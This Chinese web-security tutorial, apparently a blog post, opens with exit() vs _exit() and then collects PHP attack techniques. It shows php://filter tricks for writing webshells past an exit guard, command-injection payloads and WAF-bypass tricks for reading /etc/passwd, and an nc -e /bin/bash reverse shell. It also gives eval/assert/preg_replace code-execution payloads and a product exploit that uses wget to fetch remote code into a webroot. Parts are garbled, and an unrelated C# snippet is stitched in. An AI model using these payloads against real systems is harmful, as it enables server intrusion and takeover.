exit()
exit()与_exit()
exit()和_exit()这两个函数都是用于函数退出。
exit()函数里会调用_exit()函数。下面来看看exit()的函数代码大概:
void exit(int status)
{
while(_exit_funcs != NULL)
{
...
_exit_funcs = _exit_funcs->next;
}
...
_exit(status);
}
其中_exit_funcs是存储由__cxa_atexit和atexit注册的函数的链表,而这个while循环则遍历该链表并逐个调用这些注册的函数。最后再调用_exit(),这个函数的作用仅仅是调用了exit这个系统调用。即_exit()调用后,进程会直接结束。
所以exit()和_exit()的区别在于,exit()会首先将所有使用atexit注册的函数进行调用以后再推出,而_exit()则是直接结束程序。
绕过exit()继续执行代码
<?php
$c="<?php exit;?>";
@$c.=$_POST['c'];
@$filename=$_POST['file'];
@file_put_contents($filename, $c);
highlight_file('tmp.php');
?>
一、通过phpfilter协议的base64编码
写入的文件之前存在exit;即使正确写入了shell也无法执行。这种情况一般出现在一些缓存文件中。如果能绕过这些就可以直接getshell了。
P O S T [ ‘ f i l e n a m e ’ ] 是 可 以 控 制 协 议 的 , 使 用 p h p : / / f i l t e r 流 的 b a s e 64 − d e c o d e 方 法 , 将 _POST[‘filename’]是可以控制协议的,使用php://filter流的base64-decode方法,将 POST[‘filename’]是可以控制协议的,使用php://filter流的base64−decode方法,将content解码,利用php base64_decode函数特性去除“死亡exit”。
. base64_decode()会忽略要解码字符串中无效字符像<>?;等,这里给出base64_decode()函数忽略无效字符相应的代码
“phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,”phpexita”被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了
c=aPD9waHAgcGhwaW5mbygpOz8+&file=php://filter/write=convert.base64-decode/resource=t.php
c=a+base64(
<?php phpinfo();?>)
调用方法,获取标准base64字符串,以及字符集名称:
protected void Page_Load(object sender, EventArgs e)
{
string code;
string base64 = MethedA("=?GBK?B?MjAxMtbQzuez1Mqyw7Q=?=", out code);
Response.Write(base64 + "<br/>");
Response.Write("字符集为:" + code);
}
private static string MethedA(string base64, out string code)
{
Match match = Regex.Match(base64, @"=\?([^?]+)\?[bB]\?([^?]+)(?=\?=)");
code = match.Groups[1].Value;
return match.Groups[2].Value;
}
利用php://filter的strip_tags
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。但是当我们直接使用strip_tags的时候。我们输入的shell的内容也会被过滤掉。
但是php://filter支持多个过滤器。我们只需结合base64-decode即可实现getshell
命令执行漏洞
system()函数
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“$arg”);
}
?>
• /?cmd=id
• /?cmd=pwd
• /?cmd=ifconfig
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ping –c 3 $arg”);
}
?>
/?cmd=127.0.0.1| ifconfig
System(“ping –c 3 127.0.0.1; ifconfig)
linux 下支持分号 ”;”
|,||,%26,%26%26,
<?php
$arg = $_GET[‘cmd’];
if($arg){
system(“ls –al ‘$arg’”);
}
?>
在单引号内的话,变量不能被解析,因此要想执行命令必须闭合单引号。
• /cmd?=/home’|ipconfig ’
命令执行WAF绕过技巧
技巧一:通配符
ls-l
使用通配符
/?in/?s-l
/???/??t /??c/p???w?
有时候WAF不允许使用太多的?号
/?in/cat/?tc/p?sswd
NC反弹shell:
nc -e /bin/bash 127.0.0.1 3737
为了避免符号,可以将IP地址转换成整型。
127.0.0.1->2130706433
使用通配符
root@kali:~#/??n/?c -e/??n/b??h 2130706433 3737
二,连接符
/bin/cat/etc/password
/‘b’i’n’/c’a’t/'e’tc/pa’s’sword ------注意闭合
技巧三:未初始化的bash变量
在bash环境中允许我们使用未初始化的bash变量,如何
a
,
a ,
a,b,$c
我们事先并没有定义它们,输出看看:
root@kali:~# echo $a
root@kali:~# echo $b
root@kali:~# echo $c
root@kali:~#
未初始化的变量值都是null
读取/etc/passwd:
cat$a /etc$a/passwd$a
eval()函数
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
var_dump()会返回数据变量的类型和值
eval()会把字符串当作php代码
看到eval(),想到可以用命令执行漏洞
构建payload:
?hello=);show_source('flag.php');var_dump(
assert()
<?php
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>
使用?s=print_r(scandir(’./’))进行目录扫描以发现代码的执行漏洞
扫描上级目录,payload:?s=print_r(scandir('../'))
使用fopen() 或者 readfile() 函数读取文件
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
preg_replace()
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道,
preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace
函数的第二个参数)当做代码来执行,然而这里的第二个参数却固定为 ‘strtolower("\1")’ 字符串。
上面的命令执行,相当于 eval(‘strtolower("\1");’) 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。
所以这里的 \1 实际上指定的是第一个子匹配项
payload 为: /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} 。
原先的语句: preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
调用函数过滤不严
call_user_func()
call_user_func_array()
create_function()
array_map()等等.
以call_user_func()函数举例:
函数的作用是调用函数,并且第二个参数作为要调用的函数的参数。
mixed call_user_func (callable $callback [, mixed $parameter [, mixed $...]])
该函数的第一个参数为回调函数,后面的参数为回调函数的参数,测试代码:
<?php
$b="phpinfo()";
call_user_func($_GET['a'],$b);
?>
当a=assert时,执行命令assert(phpinfo());
动态函数执行
PHP动态函数的写法为“ 变量(参数)”
例:
<?php
$_GET['a']($_GET['b']);//接收请求a参数作为函数,b参数为函数的参数。
?>
a=assert,b=phpinfo(),执行assert(phpinfo());
反引号命令执行( ` )
<?php
echo `whoami`;
?>
( ` )实际上调用了shell_exec()函数。
漏洞实例
<?php
$uid= $_GET['uid'];
$domain=$_GET['domain'];
.
.
.
.
$save_path = getUserDirPath($uid, $domain);
$uid=$GET['uid'];表示从GET中获取uid的参数,下面一句代码将$uid变量传递到getUserDirPath()函数。
查看getUserDirPath():
function getUserDirPath($uid, $domain){
$cmd="/var/eyou/sbin/hashid $uid $domain";
$path=`cmd`;
$path=trim($path);
return $path;
}
构造exp:
/upload_files.php?uid=|wget+http://www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=
//表示下载http://www.x.com/1.txt到/var/eyou/apache/htdocs/swfupload/a.php文件。